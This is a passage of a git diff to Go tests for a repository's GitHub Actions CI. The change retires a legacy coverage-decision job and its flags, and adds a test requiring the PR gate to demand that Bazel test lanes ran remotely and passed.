!pass { + t.Errorf("remote, every lane and job passed: gate red\n%s", out) } - var scenarios []scenario - add := func(name string, sc bazelGateScenario, pass bool, mention string) { - scenarios = append(scenarios, scenario{name, sc, pass, mention}) - } - add("covered, remote, lanes passed, legacy skipped", prGateFor(t, lanes, "pull_request", "remote", cov("true")), true, "") - add("not covered, remote, legacy ran", prGateFor(t, lanes, "pull_request", "remote", cov("false")), true, "") - add("merge_group, not covered, remote", prGateFor(t, lanes, "merge_group", "remote", cov("false")), true, "") - // The merge queue retires the legacy jobs like a same-repo PR - // (bazel-coverage covers every merge group): green with the lanes run - // remotely, red when a lane failed or the run was not remote. - add("merge_group, covered, remote, lanes passed, legacy skipped", prGateFor(t, lanes, "merge_group", "remote", cov("true")), true, "") - for _, lane := range tier.bazelLanes { - sc := prGateFor(t, lanes, "merge_group", "remote", cov("true")) - sc.outputs[lane] = "failure" - add("merge_group, covered, "+lane+" failed", sc, false, tier.retiredID) - } - for _, mode := range []string{"skip", "cache"} { - sc := prGateFor(t, lanes, "merge_group", mode, cov("true")) - for _, lane := range tier.bazelLanes { - sc.outputs[lane] = "success" - } - add("merge_group, covered, mode "+mode+", lanes reported success", sc, false, tier.retiredID) - } - // rbe-fork: a covered fork or Dependabot PR (BAZEL_COVERS_FORKS) whose - // lanes ran remotely with a mint certificate. - for _, mode := range []string{"fork-ro", "fork-rw"} { - add("covered, mode "+mode+", lanes passed, legacy skipped", prGateFor(t, lanes, "pull_request", mode, cov("true")), true, "") - add("not covered, mode "+mode+", legacy ran", prGateFor(t, lanes, "pull_request", mode, cov("false")), true, "") - } - for _, mode := range []string{"local", "cache"} { - add("not covered, mode "+mode+", legacy ran", prGateFor(t, lanes, "pull_request", mode, cov("false")), true, "") - } - for job, id := range tier.jobs { - // Covered, but the job ran anyway and failed: red. - sc := prGateFor(t, lanes, "pull_request", "remote", cov("true")) - sc.results = map[string]string{job: "failure"} - add("covered, "+job+" ran and failed", sc, false, id) - // Not exactly covered: its skip is not excused. - for _, c := range []string{"false", "", "TRUE ", "yes", "1", "True\n"} { - sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) - sc.results = map[string]string{job: "skipped"} - add(fmt.Sprintf("covered=%q, %s skipped", c, job), sc, false, id) - } - } - for _, lane := range tier.bazelLanes { - for _, res := range []string{"failure", "cancelled", "skipped", ""} { - sc := prGateFor(t, lanes, "pull_request", "remote", cov("true")) - sc.outputs[lane] = res - add(fmt.Sprintf("covered, %s %q", lane, res), sc, false, tier.retiredID) - } - } - for _, mode := range []string{"skip", "local", "cache"} { - sc := prGateFor(t, lanes, "pull_request", mode, cov("true")) - for _, lane := range tier.bazelLanes { - sc.outputs[lane] = "success" - } - add("covered, mode "+mode+", lanes reported success", sc, false, tier.retiredID) - } - for _, c := range []string{"true", "false"} { - for _, res := range []string{"skipped", "failure", "cancelled"} { - for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms"} { - sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) - // F3: package-mcp/package-npm are bazel.yml call outputs - // (needs.bazel.outputs.package-mcp), not pr.yml job - // results, so the gate simulation overrides sc.outputs for - // them instead of sc.results. - if _, pkg := prPackageGateIDs[job]; pkg { - sc.outputs[job] = res - } else { - sc.results = map[string]string{job: res} - } - id := map[string]string{"pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS"}[job] - if id == "" { - id = prPackageGateIDs[job] - } - add(fmt.Sprintf("covered=%s, %s %s", c, job, res), sc, false, id) + for _, res := range []string{"skipped", "failure", "cancelled"} { + for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms"} { + sc := prGateFor(t, lanes, "pull_request", "remote") + // F3: package-mcp/package-npm are bazel.yml call outputs + // (needs.bazel.outputs.package-mcp), not pr.yml job results. + id := prPackageGateIDs[job] + if id != "" { + sc.outputs[job] = res + } else { + id = "PR_PREFLIGHT_PLATFORMS" + sc.results = map[string]string{job: res} + } + pass, out := runPRGateStep(t, gateStep, sc) + if pass || !regexp.MustCompile(`::error::`+regexp.QuoteMeta(id)+`\b`).MatchString(out) { + t.Errorf("%s %s: gate pass = %v, want red naming %s\n%s", job, res, pass, id, out) } } } - // A failed decision: the retired jobs skip through needs (the package - // gates do not depend on the decision at all, F3), and the gate is red. - for _, res := range []string{"failure", "cancelled", "skipped"} { - sc := prGateFor(t, lanes, "pull_request", "remote", cov("")) - sc.coverage = res - add("decision "+res, sc, false, prRiskCoverageGateID) - } - for _, s := range scenarios { - t.Run(s.name, func(t *testing.T) { - pass, out := runPRGateStep(t, gateStep, s.sc) - if pass != s.pass { - t.Errorf("gate pass = %v, want %v\n%s", pass, s.pass, out) - } - if !s.pass && s.mention != "" && !regexp.MustCompile(`::error::`+regexp.QuoteMeta(s.mention)+`\b`).MatchString(out) { - t.Errorf("red gate does not name %s:\n%s", s.mention, out) - } - }) - } } func sortedKeys[V any](m map[string]V) []string { @@ -400,15 +224,13 @@ func sortedKeys[V any](m map[string]V) []string { } // F3: the package gates (bazel.yml's package-mcp, package-npm). They depend -// only on the caller turning package-gates on (never on bazel-coverage or -// build-artifacts: TestPRLegacyLanesDeferToBazelLanes already checked that -// nothing but the retired jobs reads either), build bd for themselves - via +// only on the caller turning package-gates on, build bd for themselves - via // the Bazel lane's binary when the farm is up, a go build fallback // otherwise (package-mcp.sh/package-npm.sh's prepare_bd_binary) - and are // structurally identical apart from their language setup and `make` target. // Their runs-on/if/needs/result-recorder are already pinned for every // bazel.yml job by TestBazelWorkflowJobsAndExecutionMode and -// TestBazelLaneIsGatedAlongsideLegacy; this test pins the step-by-step +// TestBazelLaneIsGated; this test pins the step-by-step // detail those generic checks do not. func testPackageGateJobs(t *testing.T, prGateRequired []string) { t.Helper() diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index bde3778fe..7fa7d9b37 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -12,171 +12,43 @@ import ( "strings" "sync" "testing" - - "gopkg.in/yaml.v3" ) -// D2: PR Risk's legacy tiers stand down on the PRs where pr.yml's gated -// Bazel lanes for them (bazel.yml, remote mode only) are the tier's run, and -// nowhere else. Step 1 retired the embedded-Dolt test jobs (Bazel -// bazel-embedded), step 2 the proxied-server and server-Dolt storage test -// jobs (bazel-proxied, bazel-server-storage) and, where both are retired, -// build-embedded, whose artifact only they consume. Both workflows run the -// same bazel-coverage job, which reads one committed flag per step -// (BAZEL_RETIRES_LEGACY_*), never the mutable RBE_WEST_WORKERS variable. -// PR Risk's gate accepts the legacy skips only when that job says covered; -// pr.yml's gate then requires the tier's Bazel lanes to have run remotely -// and passed, so no re-run of either workflow, with the variable flipped -// either way, can leave both gates green and a tier unrun. +// ga-96smfk.22: the Linux Go test tiers run only as pr.yml's Bazel lanes +// (bazel.yml). PR Risk's legacy embedded, proxied and server-Dolt jobs and +// pr.yml's PR Core, build-artifacts and pure-Go/js-wasm jobs are gone, with +// the bazel-coverage decision and the BAZEL_RETIRES_LEGACY_* / +// BAZEL_COVERS_FORKS flags that chose between them and the lanes. So on +// every pull_request and merge group pr.yml's gate requires the lanes to +// have run remotely on rbe-west (BAZEL_REMOTE) and passed: no execution mode +// can leave the gate green with a tier unrun. const ( prRiskWorkflowName = "pr-risk.yml" - prRiskCoverageJobName = "bazel-coverage" prRiskPullRequestValue = "${{ github.event_name == 'pull_request' }}" - // A merge group (merge queue) is covered like a same-repo PR: it runs - // on this repository's gh-readonly-queue/* branch with the CI secrets - // and its actor is github-merge-queue[bot]. - prRiskMergeGroupValue = "${{ github.event_name == 'merge_group' }}" - // pr-risk.yml's and pr.yml's gate id for the decision job's result. - prRiskCoverageGateID = "BAZEL_COVERAGE" - // build-embedded's artifact (embedded-test-binaries) feeds exactly the - // legacy test jobs of both retired tiers. - prRiskBuildEmbeddedJob = "build-embedded" - prRiskBuildEmbeddedID = "BUILD_EMBEDDED" + // The decision's Dependabot test: Dependabot runs get no Actions + // secrets, so bazel.yml's rbe job sends them to rbe-fork like forks. + prRiskDependabotValue = "${{ github.actor == 'dependabot[bot]' }}" + // pr.yml's gate id for "the Bazel lanes ran remotely". + bazelRemoteGateID = "BAZEL_REMOTE" ) -// retiredTier: one D2 step's legacy tier, the committed flag that retires -// it, the decision job's output for it, and the Bazel lanes that replace it. -type retiredTier struct { - workflow string // the workflow whose legacy jobs stand down - output string // bazel-coverage's output - flag string // the committed workflow env flag - envKey string // the decision step's env key reading flag - coversEnv string // both gates' env key reading output - retiredID string // pr.yml's gate id: the lanes ran remotely and passed - jobs map[string]string // legacy job -> its workflow's gate id - bazelLanes []string // bazel.yml jobs -} - -var retiredTiers = []retiredTier{ - { - workflow: prRiskWorkflowName, output: "embedded", flag: "BAZEL_RETIRES_LEGACY_EMBEDDED", envKey: "RETIRED_EMBEDDED", - coversEnv: "BAZEL_COVERS_EMBEDDED", retiredID: "BAZEL_EMBEDDED_RETIRED", - jobs: map[string]string{ - "test-embedded-storage": "TEST_EMBEDDED_STORAGE", - "test-embedded-conformance": "TEST_EMBEDDED_CONFORMANCE", - "test-embedded-cmd": "TEST_EMBEDDED_CMD", - }, - bazelLanes: []string{bazelEmbedJobName}, - }, - { - workflow: prRiskWorkflowName, output: "dolt_server", flag: "BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS", envKey: "RETIRED_DOLT_SERVER", - coversEnv: "BAZEL_COVERS_DOLT_SERVER", retiredID: "BAZEL_DOLT_SERVER_RETIRED", - jobs: map[string]string{ - "test-proxied-cmd": "TEST_PROXIED_CMD", - "test-server-storage": "TEST_SERVER_STORAGE", - "test-server-storage-full": "TEST_SERVER_STORAGE_FULL", - }, - bazelLanes: []string{bazelProxiedJobName, bazelServerJobName}, - }, - // Step 3: pr.yml's own legacy jobs, whose Bazel lanes run in the same - // pr.yml run (scripts/pr_lanes_bazel_coverage_test.go). - { - workflow: "pr.yml", output: "pr_lanes", flag: "BAZEL_RETIRES_LEGACY_PR_LANES", envKey: "RETIRED_PR_LANES", - coversEnv: "BAZEL_COVERS_PR_LANES", retiredID: "BAZEL_PR_LANES_RETIRED", - jobs: map[string]string{ - "build-artifacts": "BUILD_ARTIFACTS", - "pr-core-wrapper": "PR_CORE_WRAPPER", - "check-cmd-bd-puregeo-tests": "CHECK_CMD_BD_PUREGEO_TESTS", - }, - bazelLanes: []string{bazelJobName, bazelPureJobName, bazelDoltJobName}, - }, -} - -// riskTiers: the tiers whose legacy jobs are pr-risk.yml's. -func riskTiers() []retiredTier { - var out []retiredTier - for _, r := range retiredTiers { - if r.workflow == prRiskWorkflowName { - out = append(out, r) - } - } - return out -} - -func (r retiredTier) retiredValue() string { return "${{ env." + r.flag + " == 'true' }}" } - -// The legacy test jobs' if: the existing risk tier, and not covered. -func (r retiredTier) legacyIf() string { - return "needs.detect-ci-tier.outputs.full_embedded == 'true' && needs." + prRiskCoverageJobName + ".outputs." + r.output + " != 'true'" -} - -// build-embedded's if: the risk tier, and some consumer not covered. -var prRiskBuildEmbeddedIf = "needs.detect-ci-tier.outputs.full_embedded == 'true' && (needs." + prRiskCoverageJobName + ".outputs.embedded != 'true' || needs." + - prRiskCoverageJobName + ".outputs.dolt_server != 'true')" - -// retiredJobs: every retired pr-risk.yml legacy test job -> its tier. -func retiredJobs() map[string]retiredTier { - out := map[string]retiredTier{} - for _, r := range riskTiers() { - for job := range r.jobs { - out[job] = r - } - } - return out -} - -// The bazel.yml rbe step env keys the decision copies verbatim. -var prRiskSharedDecisionEnv = []string{"FORK"} - -// The decision's Dependabot test: Dependabot runs get no Actions secrets, so -// they are covered (like fork PRs) only while BAZEL_COVERS_FORKS is "true". -const prRiskDependabotValue = "${{ github.actor == 'dependabot[bot]' }}" - -// The committed flag that covers fork and Dependabot PRs too (rbe-fork), and -// its expression in both decision steps. -const ( - prCoversForksFlag = "BAZEL_COVERS_FORKS" - prCoversForksValue = "${{ env." + prCoversForksFlag + " == 'true' }}" -) - -// rbeFacts: what GitHub evaluates the decision steps' env expressions on. +// rbeFacts: what GitHub evaluates bazel.yml's rbe step's env expressions on. type rbeFacts struct { event string // github.event_name rbeVar string // vars.RBE_WEST_WORKERS ("" = unset) secret string // secrets.RBE_WEST_EXECUTOR ("" = unavailable: fork, Dependabot, unset) fork bool // github.event.pull_request.head.repo.fork - // The committed env.BAZEL_RETIRES_LEGACY_* flags, in retiredTiers order. - retired [3]string // github.actor is dependabot[bot] (fixed for a PR's runs and re-runs). dependabot bool - // The committed env.BAZEL_COVERS_FORKS. - coversForks string // What rbe-fork-mint's /v1/status answers this run (bazelTestMintEnv; // "" = unreachable). Only fork and Dependabot pull_request runs ask. mint string } func (f rbeFacts) String() string { - return fmt.Sprintf("event=%s var=%q secret=%v fork=%v retired=%q dependabot=%v covers-forks=%q mint=%q", - f.event, f.rbeVar, f.secret != "", f.fork, f.retired, f.dependabot, f.coversForks, f.mint) -} - -// covers: whether a run with tier i's flag set is covered, the decision -// both workflows must take for tier i: every merge group (the queue's -// branch is this repository's, with the CI secrets; bazel.yml's rbe job -// never treats it as a fork); same-repo, non-Dependabot PRs always; fork -// and Dependabot PRs while BAZEL_COVERS_FORKS is "true". Never what the -// mint says: a covered fork run it does not serve is red. -func (f rbeFacts) covers(i int) bool { - if !strings.EqualFold(f.retired[i], "true") { - return false - } - if f.event == "merge_group" { - return true - } - return f.event == "pull_request" && - (!f.fork && !f.dependabot || strings.EqualFold(f.coversForks, "true")) + return fmt.Sprintf("event=%s var=%q secret=%v fork=%v dependabot=%v mint=%q", + f.event, f.rbeVar, f.secret != "", f.fork, f.dependabot, f.mint) } // forkPR: a run that asks rbe-fork-mint (bazel.yml's rbe job). @@ -186,49 +58,30 @@ func (f rbeFacts) forkPR() bool { return f.event == "pull_request" && (f.fork || var rbeMintAnswers = []string{"", "closed", "ro", "rw"} var ( - rbeEvents = []string{"pull_request", "merge_group", "push", "workflow_dispatch", "pull_request_target"} - rbeVarValues = []string{"", "true", "True", "TRUE", "false", "1", "yes"} - rbeSecrets = []string{"", "grpcs://rbe.example:443"} - // Every flag on, each alone, all off, and the case-insensitive and - // non-boolean spellings of each. - retiredValues = [][3]string{ - {"true", "true", "true"}, {"true", "false", "false"}, {"false", "true", "false"}, {"false", "false", "true"}, - {"false", "false", "false"}, {"True", "", ""}, {"", "TRUE", ""}, {"", "yes", "True"}, - } + // The events pr.yml's gate runs on. + rbeGateEvents = []string{"pull_request", "merge_group"} + rbeVarValues = []string{"", "true", "True", "TRUE", "false", "1", "yes"} + rbeSecrets = []string{"", "grpcs://rbe.example:443"} ) -// rbeFactsMatrix: every combination of the facts the decisions read. -// BAZEL_COVERS_FORKS takes both values (and other spellings) where it can -// matter, fork and Dependabot facts, and "true" elsewhere only with every -// tier retired (to show it changes nothing there); the mint answers only -// matter to forkPR facts. -func rbeFactsMatrix() []rbeFacts { +// rbeGateFactsMatrix: every combination of the facts bazel.yml's rbe step +// reads, for the events pr.yml's gate runs on; the mint answers only matter +// to forkPR facts. +func rbeGateFactsMatrix() []rbeFacts { var out []rbeFacts - allRetired := [3]string{"true", "true", "true"} - for _, event := range rbeEvents { + for _, event := range rbeGateEvents { for _, v := range rbeVarValues { for _, secret := range rbeSecrets { for _, fork := range []bool{false, true} { - for _, retired := range retiredValues { - for _, dependabot := range []bool{false, true} { - covers := []string{"false"} - switch { - case (fork || dependabot) && retired == allRetired: - covers = []string{"false", "true", "True", "", "yes"} - case fork || dependabot, retired == allRetired: - covers = []string{"false", "true"} - } - for _, c := range covers { - f := rbeFacts{event, v, secret, fork, retired, dependabot, c, ""} - if !f.forkPR() { - out = append(out, f) - continue - } - for _, m := range rbeMintAnswers { - f.mint = m - out = append(out, f) - } - } + for _, dependabot := range []bool{false, true} { + f := rbeFacts{event, v, secret, fork, dependabot, ""} + if !f.forkPR() { + out = append(out, f) + continue + } + for _, m := range rbeMintAnswers { + f.mint = m + out = append(out, f) } } } @@ -251,17 +104,7 @@ func evalRBEExpr(t *testing.T, expr string, f rbeFacts, with map[string]string) } return def } - if len(retiredTiers) != len(f.retired) { - t.Fatalf("rbeFacts.retired has %d flags, retiredTiers %d", len(f.retired), len(retiredTiers)) - } - for i, r := range retiredTiers { - if expr == r.retiredValue() { - return strconv.FormatBool(strings.EqualFold(f.retired[i], "true")) - } - } switch expr { - case prCoversForksValue: - return strconv.FormatBool(strings.EqualFold(f.coversForks, "true")) case "${{ github.event.pull_request.number }}": if f.event == "pull_request" || f.event == "pull_request_target" { return "7123" @@ -269,8 +112,6 @@ func evalRBEExpr(t *testing.T, expr string, f rbeFacts, with map[string]string) return "" case prRiskPullRequestValue: return strconv.FormatBool(f.event == "pull_request") - case prRiskMergeGroupValue: - return strconv.FormatBool(f.event == "merge_group") case prRiskDependabotValue: return strconv.FormatBool(f.dependabot) case "${{ vars.RBE_WEST_WORKERS == 'true' }}": @@ -302,146 +143,9 @@ func runDecisionStep(t *testing.T, step ciWorkflowStep, f rbeFacts, with map[str return runBazelRBEDecision(t, step.Run, env) } -func coverageStep(t *testing.T, workflow string) ciWorkflowStep { - t.Helper() - job := readCIWorkflow(t, workflow).job(t, prRiskCoverageJobName) - if len(job.Steps) != 1 { - t.Fatalf("%s %s has %d steps, want exactly the decision step", workflow, prRiskCoverageJobName, len(job.Steps)) - } - return job.Steps[0] -} - -func prRiskCoverageStep(t *testing.T) ciWorkflowStep { return coverageStep(t, prRiskWorkflowName) } - -// workflowEnv: a workflow's top-level env. -func workflowEnv(t *testing.T, name string) map[string]string { - t.Helper() - var doc struct { - Env map[string]string `yaml:"env"` - } - if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+name)), &doc); err != nil { - t.Fatal(err) - } - return doc.Env -} - -// The decision job reads the committed flags, the event, the actor and, -// through bazel.yml's rbe job's own expression, the fork flag: nothing a -// re-run can change, so never RBE_WEST_WORKERS, any other variable or any -// secret, and it runs no repository code. pr.yml runs the identical job, and -// both workflows commit the same flags. Nothing else in pr-risk.yml reads the -// facts, and nothing in it reads a secret. -func TestPRRiskBazelCoverageJob(t *testing.T) { - risk := readCIWorkflow(t, prRiskWorkflowName) - job := risk.job(t, prRiskCoverageJobName) - // F3: this job moved to Blacksmith for same-repo PRs (and merge_group); - // forks and Dependabot stay on ubuntu-latest (TestSameRepoBlacksmithRunners - // pins the same literal for pr.yml's copy). - if len(job.Needs) != 0 || job.If != "" || job.RunsOn != sameRepoBlacksmith2vcpu || len(job.Env) != 0 || job.ContinueOnError || job.TimeoutMinutes == 0 { - t.Errorf("%s: needs %v, if %q, runs-on %q, env %v, continue-on-error %v, timeout %d; want no needs, if, env or continue-on-error, on %q, a timeout", - prRiskCoverageJobName, job.Needs, job.If, job.RunsOn, job.Env, job.ContinueOnError, job.TimeoutMinutes, sameRepoBlacksmith2vcpu) - } - wantOutputs := map[string]string{} - wantEnv := map[string]string{"PULL_REQUEST": prRiskPullRequestValue, "MERGE_GROUP": prRiskMergeGroupValue, "DEPENDABOT": prRiskDependabotValue, "COVERS_FORKS": prCoversForksValue} - for _, r := range retiredTiers { - wantOutputs[r.output] = "${{ steps.decide.outputs." + r.output + " }}" - wantEnv[r.envKey] = r.retiredValue() - } - if !reflect.DeepEqual(job.Outputs, wantOutputs) { - t.Errorf("%s outputs = %v, want %v", prRiskCoverageJobName, job.Outputs, wantOutputs) - } - if prJob := readCIWorkflow(t, "pr.yml").job(t, prRiskCoverageJobName); !reflect.DeepEqual(prJob, job) { - t.Errorf("pr.yml's %s differs from pr-risk.yml's:\n%+v\n%+v", prRiskCoverageJobName, prJob, job) - } - riskEnv, prEnv := workflowEnv(t, prRiskWorkflowName), workflowEnv(t, "pr.yml") - committed := []string{prCoversForksFlag} - for _, r := range retiredTiers { - committed = append(committed, r.flag) - } - for _, flag := range committed { - if riskFlag, prFlag := riskEnv[flag], prEnv[flag]; riskFlag != prFlag || (riskFlag != "true" && riskFlag != "false") { - t.Errorf("%s: pr-risk.yml %q, pr.yml %q; want the same literal \"true\" or \"false\" in both", flag, riskFlag, prFlag) - } - } - step := prRiskCoverageStep(t) - rbeStep := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName).Steps[0] - for _, k := range prRiskSharedDecisionEnv { - wantEnv[k] = rbeStep.Env[k] - } - if step.ID != "decide" || step.Uses != "" || step.Shell != "" || len(step.With) != 0 || step.If != "" || step.ContinueOnError != nil || !reflect.DeepEqual(step.Env, wantEnv) { - t.Errorf("%s step: id %q, uses %q, shell %q, with %v, if %q, env %v; want id decide, a plain run step with env %v", - prRiskCoverageJobName, step.ID, step.Uses, step.Shell, step.With, step.If, step.Env, wantEnv) - } - if strings.Contains(step.Run, "${{") || regexp.MustCompile(`\.github/|\./|source |\bbash\b|RBE_WEST_WORKERS|RBE_VAR|EXECUTOR`).MatchString(step.Run) { - t.Errorf("%s step runs repository code, interpolates expressions or reads the RBE variable or secret:\n%s", prRiskCoverageJobName, step.Run) - } - for k, v := range step.Env { - if regexp.MustCompile(`\b(secrets|vars)\s*(\.|\[)`).MatchString(v) { - t.Errorf("%s step env %s = %q reads a secret or variable; a re-run could change it", prRiskCoverageJobName, k, v) - } - } - - // Only the decision step reads the facts; nothing reads a secret or a - // repository variable; only the workflow env sets a flag. - stepEnv := ".jobs." + prRiskCoverageJobName + ".steps[0].env." - secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) - flags := map[string]bool{prCoversForksFlag: true} - flagAlt := []string{prCoversForksFlag} - for _, r := range retiredTiers { - flags[r.flag] = true - flagAlt = append(flagAlt, r.flag) - } - facts := regexp.MustCompile(`(?i)RBE_WEST_WORKERS|\bvars\s*(\.|\[)|head\.repo\.fork|RBE_WEST_EXECUTOR|github\.actor|dependabot|BAZEL_RETIRES_|` + strings.Join(flagAlt, "|")) - walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", prRiskWorkflowName)), "", func(path string, key bool, value string) { - if key { - if flags[value] && path != ".env."+value { - t.Errorf("%s: %s sets %s; only the workflow env may", prRiskWorkflowName, path, value) - } - return - } - if secretRef.MatchString(value) { - t.Errorf("%s: %s reads secrets (%q); PR Risk needs none", prRiskWorkflowName, path, value) - } - // F3: detect-ci-tier/bazel-coverage/ci-gate's own runs-on picks a - // runner venue (Blacksmith vs ubuntu-latest) for trusted same-repo - // PRs; it shares some predicates (github.actor, dependabot, - // head.repo.full_name) with the coverage decision but decides - // something else entirely - not a re-derivation of the decision - // (TestSameRepoBlacksmithRunners pins the literal). - if strings.HasSuffix(path, ".runs-on") && (value == sameRepoBlacksmith2vcpu || value == sameRepoBlacksmith4vcpu || value == sameRepoBlacksmith8vcpu) { - return - } - if facts.MatchString(value) && !strings.HasPrefix(path, stepEnv) && !strings.HasPrefix(path, ".jobs."+prRiskCoverageJobName+".steps[0].run") { - t.Errorf("%s: %s re-derives the Bazel coverage decision (%q); read needs.%s.outputs", prRiskWorkflowName, path, value, prRiskCoverageJobName) - } - }) - // In pr.yml too, only the workflow env sets a flag and only the - // decision step reads one (ci-gate names them in its messages). - walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", "pr.yml")), "", func(path string, key bool, value string) { - if key { - if flags[value] && path != ".env."+value { - t.Errorf("pr.yml: %s sets %s; only the workflow env may", path, value) - } - return - } - if regexp.MustCompile(`env\.BAZEL_(RETIRES_|COVERS_FORKS\b)`).MatchString(value) && !strings.HasPrefix(path, stepEnv) { - t.Errorf("pr.yml: %s reads a BAZEL_RETIRES_* or BAZEL_COVERS_FORKS flag (%q); read needs.%s.outputs", path, value, prRiskCoverageJobName) - } - }) - // Every BAZEL_RETIRES_* flag either workflow commits is one of retiredTiers. - for name, env := range map[string]map[string]string{prRiskWorkflowName: riskEnv, "pr.yml": prEnv} { - for k := range env { - if strings.HasPrefix(k, "BAZEL_RETIRES_") && !flags[k] { - t.Errorf("%s commits %s, which no retiredTiers entry covers", name, k) - } - } - } -} - // prGateFor: pr.yml's ci-gate scenario for one run whose Bazel call took -// this mode with every lane that runs in it passing, and whose bazel-coverage -// job reported these outputs. -func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode string, covered map[string]string) bazelGateScenario { +// this mode with every lane that runs in it passing. +func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode string) bazelGateScenario { t.Helper() outputs := map[string]string{} for lane, modes := range lanes { @@ -450,21 +154,12 @@ func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode strin } } return bazelGateScenario{ - name: fmt.Sprintf("%s mode %s covered %v", event, mode, covered), event: event, + name: fmt.Sprintf("%s mode %s", event, mode), event: event, mode: mode, enabled: bazelModeEnabled(mode), call: "success", - outputs: outputs, covered: covered, + outputs: outputs, } } -// coveredAll: bazel-coverage outputs with every tier set to v. -func coveredAll(v string) map[string]string { - out := map[string]string{} - for _, r := range retiredTiers { - out[r.output] = v - } - return out -} - // bazelPRCallLanes: the modes each bazel.yml lane runs in under pr.yml's call. func bazelPRCallLanes(t *testing.T, with map[string]string) map[string]map[string]bool { t.Helper() @@ -477,603 +172,125 @@ func bazelPRCallLanes(t *testing.T, with map[string]string) map[string]map[strin return lanes } -// Never both gates green with neither a legacy tier nor its Bazel lanes -// having run it. covered (both workflows' actual decision scripts) is, per -// tier, the committed flag on a same-repo, non-Dependabot pull_request: -// nothing a re-run can change. Across two runs (PR Risk's and pr.yml's, or a -// re-run of either) that see RBE_WEST_WORKERS and the executor secret -// differently, every combination: if PR Risk skipped a legacy tier, pr.yml's -// actual gate step is green only if the lanes ran remotely. The happy path -// (flags, variable and secret on) is green with the legacy tiers skipped; -// the kill switch (variable off) or a missing secret with a flag still on is -// red, naming that tier's id. -func TestPRRiskDecisionMatchesBazelMode(t *testing.T) { +// Never a green gate with the Linux Go test tiers unrun: for every fact +// bazel.yml's rbe step reads on a pull_request or merge group (the farm +// variable, the executor secret, fork, Dependabot, what rbe-fork's mint +// answers), pr.yml's actual gate step, with every lane that runs in the +// decided mode passing, is green exactly when that mode executed the lanes +// on rbe-west, and a red one names BAZEL_REMOTE. A lane that failed, was +// cancelled or did not report reds the gate in a remote mode too. +func TestPRGateRequiresRemoteBazelLanes(t *testing.T) { requireHostTool(t, "bash") pr := readCIWorkflow(t, "pr.yml") call := pr.job(t, "bazel") if call.Uses != "./.github/workflows/"+bazelWorkflowName { t.Fatalf("pr.yml bazel job uses %q, want the local %s", call.Uses, bazelWorkflowName) } - riskStep, prStep := prRiskCoverageStep(t), coverageStep(t, "pr.yml") rbeStep := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName).Steps[0] gateStep := pr.job(t, "ci-gate").step(t, "Evaluate CI gate") lanes := bazelPRCallLanes(t, call.With) - // The Bazel lanes PR Risk defers to: remote-only, gated by pr.yml, and - // not skippable in mode remote. - gate := pr.job(t, "ci-gate") required := strings.Fields(gateStep.Env["CI_GATE_REQUIRED"]) - cmd := exec.Command("bash", filepath.Join(sourceRepoRoot(t), bazelGateScript), "skips") - cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=remote", "BAZEL_RBE_ENABLED=true"} - out, err := cmd.Output() - if err != nil { - t.Fatal(err) + if !contains(required, bazelRemoteGateID) { + t.Errorf("pr.yml's ci-gate does not require %s", bazelRemoteGateID) } - remoteSkips := strings.Fields(string(out)) - if !contains(required, prRiskCoverageGateID) { - t.Errorf("pr.yml's ci-gate does not require %s", prRiskCoverageGateID) + if _, ok := gateStep.Env[bazelRemoteGateID]; ok { + t.Errorf("pr.yml's ci-gate env sets %s; only its run script may", bazelRemoteGateID) } - if gateStep.Env[prRiskCoverageGateID] != "${{ needs."+prRiskCoverageJobName+".result }}" { - t.Errorf("pr.yml's ci-gate %s = %q, want the decision job's result", prRiskCoverageGateID, gateStep.Env[prRiskCoverageGateID]) - } - for _, r := range retiredTiers { - if !contains(required, r.retiredID) { - t.Errorf("pr.yml's ci-gate does not require %s", r.retiredID) + for lane, id := range bazelLaneGateIDs { + if !lanes[lane]["remote"] { + t.Errorf("gated lane %s does not run in mode remote", lane) } - if gateStep.Env[r.coversEnv] != "${{ needs."+prRiskCoverageJobName+".outputs."+r.output+" }}" { - t.Errorf("pr.yml's ci-gate %s = %q, want needs.%s.outputs.%s", r.coversEnv, gateStep.Env[r.coversEnv], prRiskCoverageJobName, r.output) - } - for _, lane := range r.bazelLanes { - if !lanes[lane]["remote"] { - t.Fatalf("%s does not run in mode remote", lane) - } - if !contains(required, bazelLaneGateIDs[lane]) { - t.Errorf("pr.yml's ci-gate does not require %s", bazelLaneGateIDs[lane]) - } - if contains(remoteSkips, bazelLaneGateIDs[lane]) { - t.Fatalf("pr.yml's gate accepts a skipped %s in mode remote", bazelLaneGateIDs[lane]) - } - } - } - if !contains(gate.Needs, "bazel") || !contains(gate.Needs, prRiskCoverageJobName) { - t.Errorf("pr.yml's ci-gate needs %v, want bazel and %s", gate.Needs, prRiskCoverageJobName) - } - - // Both workflows run for the same PRs, so a PR Risk run that defers - // always has a pr.yml run that gates the lanes. - type triggers struct { - On struct { - PullRequest struct { - Branches []string `yaml:"branches"` - Paths []string `yaml:"paths"` - Ignore []string `yaml:"paths-ignore"` - Types []string `yaml:"types"` - } `yaml:"pull_request"` - } `yaml:"on"` - } - var prOn, riskOn triggers - for name, dst := range map[string]*triggers{"pr.yml": &prOn, prRiskWorkflowName: &riskOn} { - if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+name)), dst); err != nil { - t.Fatal(err) - } - } - if !reflect.DeepEqual(prOn, riskOn) || len(prOn.On.PullRequest.Paths)+len(prOn.On.PullRequest.Ignore) != 0 { - t.Fatalf("pull_request triggers differ or are path-filtered: pr.yml 